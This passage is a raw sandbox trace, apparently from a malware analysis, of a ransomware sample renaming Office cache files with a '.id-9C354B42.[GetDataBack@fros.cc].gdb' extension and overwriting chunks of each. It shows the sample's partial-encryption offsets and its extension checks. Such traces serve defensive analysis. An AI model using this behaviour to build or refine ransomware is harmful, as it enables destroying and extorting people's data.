lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=3702272) returned 1 [0126.852] CloseHandle (hObject=0x1a8) returned 1 [0126.852] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0126.852] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0126.852] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0126.852] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0126.853] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0126.853] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0126.853] ReadFile (in: hFile=0x1a8, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0126.857] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0126.857] ReadFile (in: hFile=0x1a8, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0126.867] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0126.867] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0126.867] ReadFile (in: hFile=0x1a8, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0127.204] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0127.204] WriteFile (in: hFile=0x1a8, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0106, lpOverlapped=0x0) returned 1 [0127.255] SetEndOfFile (hFile=0x1a8) returned 1 [0127.255] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0127.255] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0127.257] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0127.257] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0127.262] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0127.262] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0127.264] CloseHandle (hObject=0x1a8) returned 1 [0127.264] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.265] lstrlenW (lpString=".doc") returned 4 [0127.265] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0127.265] lstrlenW (lpString=".docx") returned 5 [0127.265] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0127.265] lstrlenW (lpString=".pdf") returned 4 [0127.265] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0127.265] lstrlenW (lpString=".xls") returned 4 [0127.265] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0127.265] lstrlenW (lpString=".xlsx") returned 5 [0127.265] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0127.265] lstrlenW (lpString=".ppt") returned 4 [0127.265] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0127.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.265] lstrlenW (lpString=".zip") returned 4 [0127.265] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0127.265] lstrlenW (lpString=".rar") returned 4 [0127.265] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0127.265] lstrlenW (lpString=".bz2") returned 4 [0127.265] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0127.265] lstrlenW (lpString=".7z") returned 3 [0127.265] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0127.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.265] lstrlenW (lpString=".dbf") returned 4 [0127.265] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0127.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.265] lstrlenW (lpString=".1cd") returned 4 [0127.265] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0127.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.265] lstrlenW (lpString=".jpg") returned 4 [0127.265] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0127.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.266] lstrlenW (lpString=".doc") returned 4 [0127.266] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0127.266] lstrlenW (lpString=".docx") returned 5 [0127.266] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0127.266] lstrlenW (lpString=".pdf") returned 4 [0127.266] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0127.266] lstrlenW (lpString=".xls") returned 4 [0127.266] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0127.266] lstrlenW (lpString=".xlsx") returned 5 [0127.266] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0127.266] lstrlenW (lpString=".ppt") returned 4 [0127.266] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0127.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.266] lstrlenW (lpString=".zip") returned 4 [0127.266] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0127.266] lstrlenW (lpString=".rar") returned 4 [0127.266] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0127.266] lstrlenW (lpString=".bz2") returned 4 [0127.266] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0127.266] lstrlenW (lpString=".7z") returned 3 [0127.266] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0127.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.266] lstrlenW (lpString=".dbf") returned 4 [0127.266] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0127.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.266] lstrlenW (lpString=".1cd") returned 4 [0127.266] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0127.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0127.266] lstrlenW (lpString=".jpg") returned 4 [0127.266] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0127.267] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0127.267] lstrlenW (lpString="AccLR.cab") returned 9 [0127.267] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0127.267] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=28016276) returned 1 [0127.267] CloseHandle (hObject=0x1a8) returned 1 [0127.267] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0127.267] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.267] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0127.268] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0127.268] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0127.268] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0127.268] ReadFile (in: hFile=0x1a8, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0127.578] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0127.578] ReadFile (in: hFile=0x1a8, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0127.585] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0127.585] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0127.585] ReadFile (in: hFile=0x1a8, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0127.599] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0127.599] WriteFile (in: hFile=0x1a8, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc00fe, lpOverlapped=0x0) returned 1 [0127.886] SetEndOfFile (hFile=0x1a8) returned 1 [0127.891] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0127.891] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0127.892] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0127.892] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0127.895] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0127.895] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0127.897] CloseHandle (hObject=0x1a8) returned 1 [0127.898] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.898] lstrlenW (lpString=".doc") returned 4 [0127.898] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0127.898] lstrlenW (lpString=".docx") returned 5 [0127.898] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0127.898] lstrlenW (lpString=".pdf") returned 4 [0127.898] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0127.898] lstrlenW (lpString=".xls") returned 4 [0127.898] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0127.898] lstrlenW (lpString=".xlsx") returned 5 [0127.898] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0127.898] lstrlenW (lpString=".ppt") returned 4 [0127.898] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0127.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.898] lstrlenW (lpString=".zip") returned 4 [0127.898] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0127.898] lstrlenW (lpString=".rar") returned 4 [0127.898] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0127.898] lstrlenW (lpString=".bz2") returned 4 [0127.898] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0127.898] lstrlenW (lpString=".7z") returned 3 [0127.899] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0127.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.899] lstrlenW (lpString=".dbf") returned 4 [0127.899] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0127.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.899] lstrlenW (lpString=".1cd") returned 4 [0127.899] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0127.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.899] lstrlenW (lpString=".jpg") returned 4 [0127.899] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0127.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.899] lstrlenW (lpString=".doc") returned 4 [0127.899] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0127.899] lstrlenW (lpString=".docx") returned 5 [0127.899] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0127.899] lstrlenW (lpString=".pdf") returned 4 [0127.899] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0127.899] lstrlenW (lpString=".xls") returned 4 [0127.899] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0127.899] lstrlenW (lpString=".xlsx") returned 5 [0127.899] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0127.899] lstrlenW (lpString=".ppt") returned 4 [0127.899] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0127.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.899] lstrlenW (lpString=".zip") returned 4 [0127.899] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0127.899] lstrlenW (lpString=".rar") returned 4 [0127.899] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0127.899] lstrlenW (lpString=".bz2") returned 4 [0127.899] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0127.900] lstrlenW (lpString=".7z") returned 3 [0127.900] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0127.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.900] lstrlenW (lpString=".dbf") returned 4 [0127.900] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0127.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.900] lstrlenW (lpString=".1cd") returned 4 [0127.900] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0127.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0127.900] lstrlenW (lpString=".jpg") returned 4 [0127.900] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0127.900] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0127.900] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0127.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0127.900] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=36233052) returned 1 [0127.900] CloseHandle (hObject=0x1a8) returned 1 [0127.901] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0127.901] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.901] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0127.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0127.901] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0127.901] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0127.902] ReadFile (in: hFile=0x1a8, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0128.085] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0128.085] ReadFile (in: hFile=0x1a8, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0128.091] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0128.091] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0128.091] ReadFile (in: hFile=0x1a8, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0128.106] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0128.106] WriteFile (in: hFile=0x1a8, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0104, lpOverlapped=0x0) returned 1 [0128.121] SetEndOfFile (hFile=0x1a8) returned 1 [0128.125] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0128.125] WriteFile (in: hFile=0x1a8, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0128.126] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0128.126] WriteFile (in: hFile=0x1a8, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0128.127] SetFilePointerEx (in: 